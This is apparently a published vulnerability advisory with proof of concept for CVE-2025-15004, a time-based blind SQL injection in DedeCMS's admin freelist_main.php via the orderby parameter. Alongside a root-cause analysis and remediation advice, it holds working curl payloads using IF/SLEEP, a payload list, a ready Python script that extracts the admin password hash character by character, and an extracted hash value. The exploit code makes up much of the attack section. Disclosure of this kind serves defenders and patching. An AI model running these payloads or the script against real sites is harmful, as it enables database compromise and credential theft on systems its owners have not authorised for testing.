(CVE-2025-15004)DedeCMS至5.7.118版本freelist_main.php文件orderby参数SQL注入漏洞

2025-12-22 DedeCMS PoC Public

Description

(CVE-2025-15004)DedeCMS至5.7.118版本freelist_main.php文件orderby参数SQL注入漏洞

PoC

https://note-hxlab.wetolink.com/share/JPq560c6F6tu

DedeCMS v5.7 UTF-8 SP2 sql

BUG_Author: yu22x

Affected Version: DedeCMS v5.7 UTF-8 SP2

Vendor: https://www.dedecms.com/

Software: DedeCMS (织梦内容管理系统)

Vulnerability Files:

dede/freelist_main.php

Description:

SQL Injection Vulnerability in ORDER BY Clause: A critical SQL injection vulnerability has been discovered in the freelist_main.php file located within the DedeCMS administrator backend directory. This file is responsible for managing "Free Lists" (自由列表) functionality in the CMS, which allows administrators to create custom content listing pages.

The vulnerability exists due to insufficient input validation of the orderby parameter, which is directly concatenated into SQL queries without any sanitization, parameterization, or whitelist validation. Unlike other similar files in the DedeCMS codebase (such as member_main.php, tags_main.php, content_list.php) that implement proper filtering using preg_replace() or whitelist validation for the orderby parameter, freelist_main.php completely lacks any security measures for this input.

The vulnerability is further exacerbated by a critical security misconfiguration in the backend configuration file (dede/config.php), where the SQL safety check mechanism is explicitly disabled with $dsql->safeCheck = FALSE. This disables the built-in CheckSql() function that would normally detect and block common SQL injection patterns including UNION, SLEEP, BENCHMARK, and other dangerous SQL keywords.

The vulnerability allows authenticated administrators to execute arbitrary SQL commands through time-based blind SQL injection techniques. By injecting conditional statements with time-delay functions (such as MySQL's SLEEP() or BENCHMARK()), an attacker can extract sensitive information from the database character by character. This includes but is not limited to:

    Administrator usernames and password hashes

    User personal information and credentials  

    Website configuration data and API keys

    All content stored in the CMS database

    Database structure and schema information

During our security assessment, we successfully exploited this vulnerability to extract the administrator password hash, demonstrating the critical nature of this security flaw. The extracted password hash was 20 characters in length (f297a57a5a743894a0e4), indicating DedeCMS may use a truncated or custom hashing algorithm rather than standard 32-character MD5.

Vulnerability Functionality:

    Time-based Blind SQL Injection: Exploits the ORDER BY clause to inject time-delay functions (SLEEP, BENCHMARK) for data extraction through response time analysis

    Conditional Data Extraction: Uses MySQL IF() statements combined with subqueries to extract database content bit by bit based on true/false conditions

    Complete Database Access: Allows reading of any table and column in the database that the web application's database user has access to

    Authentication Bypass Potential: Extracted administrator credentials can be cracked offline and used to gain full administrative access to the CMS

    Backend SQL Safety Disabled: The admin config.php explicitly disables SQL safety checks ($dsql->safeCheck = FALSE), removing the last line of defense against SQL injection attacks

    No Rate Limiting: The vulnerable endpoint has no request rate limiting, allowing automated extraction scripts to run without interruption

Technical Analysis:

Vulnerable Code Location: dede/freelist_main.php (Line 81)

<?php
require_once(dirname(__FILE__)."/config.php");
CheckPurview('c_FreeList');
require_once DEDEINC.'/channelunit.func.php';
setcookie("ENV_GOBACK_URL",$dedeNowurl,time()+3600,"/");
​
if(empty($pagesize)) $pagesize = 18;
if(empty($pageno)) $pageno = 1;
if(empty($dopost)) $dopost = '';
if(empty($orderby)) $orderby = 'aid';  // No sanitization here
if(empty($keyword))
{
    $keyword = '';
    $addget = '';
    $addsql = '';
} else
{
    $addget = '&keyword='.urlencode($keyword);
    $addsql = " where title like '%$keyword%' ";
}
​
// ... other code ...
​
function GetTagList($dsql,$pageno,$pagesize,$orderby='aid')
{
    global $cfg_phpurl,$addsql;
    $start = ($pageno-1) * $pagesize;
    // VULNERABLE LINE - $orderby is directly concatenated without any filtering
    $dsql->SetQuery("Select aid,title,templet,click,edtime,namerule,listdir,defaultpage,nodefault From #@__freelist $addsql order by $orderby desc limit $start,$pagesize ");
    $dsql->Execute();
    // ...
}

Root Cause Analysis:

    Backend SQL Safety Check Disabled (dede/config.php Line 17):

$dsql->safeCheck = FALSE;

    No Input Validation: The $orderby parameter is not validated against a whitelist of allowed column names

    Direct SQL Concatenation: User input is directly concatenated into the SQL query string

Attack Vector:

    Initial Access: Authenticated POST/GET request to /dede/freelist_main.php with malicious orderby parameter

    Payload Delivery: SQL injection payload embedded in the orderby parameter

    Time-based Extraction: Using IF() and SLEEP() functions to extract data bit by bit

    Data Exfiltration: Complete database content can be extracted including admin credentials

Exploitation Process:

    Attacker authenticates to the DedeCMS backend with valid admin credentials

    Attacker sends crafted request with malicious orderby parameter containing SQL injection payload

    Time-based blind injection is used to extract sensitive data character by character

    Admin password hash is extracted and can be cracked offline

Proof of Concept:

    Test Injection Point (Time Delay Verification):

# Normal request - ~0.5 seconds response time
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
​
# Injection with SLEEP - ~6.5 seconds response time (confirms vulnerability)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=aid,SLEEP(3)" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

    Conditional Injection Test:

# Condition TRUE - causes delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=1,SLEEP(2),aid)" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
​
# Condition FALSE - no delay
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF(1=2,SLEEP(2),aid)" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

    Extract Admin Password Length:

# Test if password length > 16 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)>16,SLEEP(2),aid)" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"
​
# Test if password length = 20 (TRUE - causes delay)
curl -s "http://target/dede/freelist_main.php?dopost=getlist&pageno=1&pagesize=10&orderby=IF((SELECT%20LENGTH(pwd)%20FROM%20dede_admin%20LIMIT%200,1)=20,SLEEP(2),aid)" \
  -H "Cookie: PHPSESSID=your_session_id" -w "\nTime: %{time_total}s"

    Automated Password Extraction Script (Python):

#!/usr/bin/env python3
import requests
import time
​
TARGET_URL = "http://target/dede/freelist_main.php"
COOKIE = {"PHPSESSID": "your_session_id"}
CHARSET = "0123456789abcdef"
​
def check_condition(condition):
    payload = f"IF(({condition}),SLEEP(2),aid)"
    params = {"dopost": "getlist", "pageno": "1", "pagesize": "1", "orderby": payload}
    start = time.time()
    requests.get(TARGET_URL, params=params, cookies=COOKIE, timeout=30)
    return (time.time() - start) > 1.5
​
def extract_password(length=20):
    password = ""
    for i in range(1, length + 1):
        for char in CHARSET:
            condition = f"SELECT SUBSTRING(pwd,{i},1) FROM dede_admin LIMIT 0,1"
            if check_condition(f"({condition})='{char}'"):
                password += char
                print(f"[+] Progress: {i}/{length} - Password: {password}")
                break
    return password
​
print("[+] Extracted Password:", extract_password())

Exploitation Results:

    Admin Password Length: 20 characters

    Extracted Password Hash: f297a57a5a743894a0e4

Impact Assessment:

Critical Severity: Complete database compromise

    Remote SQL Execution: Full database access through arbitrary SQL command execution

    Credential Theft: Extraction of administrator password hashes

    Data Exfiltration: Access to all CMS content, user data, and configuration

    Privilege Escalation: Compromised admin credentials enable full system control

    Persistence: Attackers can modify database content to maintain access

    Website Defacement: Complete control over website content

Business Impact:

    Complete compromise of website content management

    Exposure of user personal information

    Potential regulatory compliance violations (GDPR, etc.)

    Reputational damage to the organization

    Potential for further lateral movement in the network

Remediation:

Immediate Actions:

    Implement whitelist validation for the orderby parameter:

$allowed_orderby = array('aid', 'title', 'click', 'edtime');
$orderby = in_array($orderby, $allowed_orderby) ? $orderby : 'aid';

    Enable SQL safety checks in dede/config.php:

$dsql->safeCheck = TRUE;  // Change from FALSE to TRUE

    Change all administrator passwords immediately

    Review database logs for suspicious queries

    Audit all other files for similar vulnerabilities

Security Measures:

    Implement parameterized queries (prepared statements) throughout the codebase

    Use ORM frameworks that automatically handle SQL escaping

    Implement Web Application Firewall (WAF) rules to detect SQL injection attempts

    Regular security audits and penetration testing

    Input validation and output encoding on all user-supplied data

    Principle of least privilege for database accounts

Long-term Security:

    Implement secure development lifecycle (SDLC)

    Regular code reviews with security focus

    Automated static application security testing (SAST)

    Dynamic application security testing (DAST)

    Security awareness training for development team

    Keep DedeCMS and all dependencies updated

Technical Details:

Injection Type:

    Time-based Blind SQL Injection

    ORDER BY clause injection

Vulnerable Parameter:

    Parameter Name: orderby

    HTTP Method: GET/POST

    Authentication Required: Yes (Admin backend access)

Database Information:

    Database Type: MySQL

    Character Set: UTF-8

    Table Prefix: dede_

Payload Examples:

# Basic time delay
orderby=aid,SLEEP(5)

# Conditional extraction
orderby=IF((SELECT SUBSTRING(pwd,1,1) FROM dede_admin LIMIT 0,1)='f',SLEEP(2),aid)

# Database version extraction
orderby=IF((SELECT SUBSTRING(@@version,1,1))='5',SLEEP(2),aid)

Other Potential Vulnerable Files (Similar Pattern):

    dede/feedback_main.php (keyword, ip parameters - protected by addslashes)

    dede/co_do.php (nid, fdstring parameters)

    dede/article_keywords_main.php (keyword parameter)

    dede/sys_verifies.php (fname parameter)

References:

    OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

    CWE-89: Improper Neutralization of Special Elements used in an SQL Command: https://cwe.mitre.org/data/definitions/89.html

    DedeCMS Official Documentation: https://www.dedecms.com/

    MySQL Time-based Blind SQL Injection: https://www.sqlinjection.net/time-based/

Timeline:

    Vendor Notification: N/A

    Public Disclosure: N/A

CVSS Score: 8.8 (High)

    Attack Vector: Network

    Attack Complexity: Low

    Privileges Required: Low (Admin authentication)

    User Interaction: None

    Scope: Unchanged

    Confidentiality Impact: High

    Integrity Impact: High

    Availability Impact: High

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities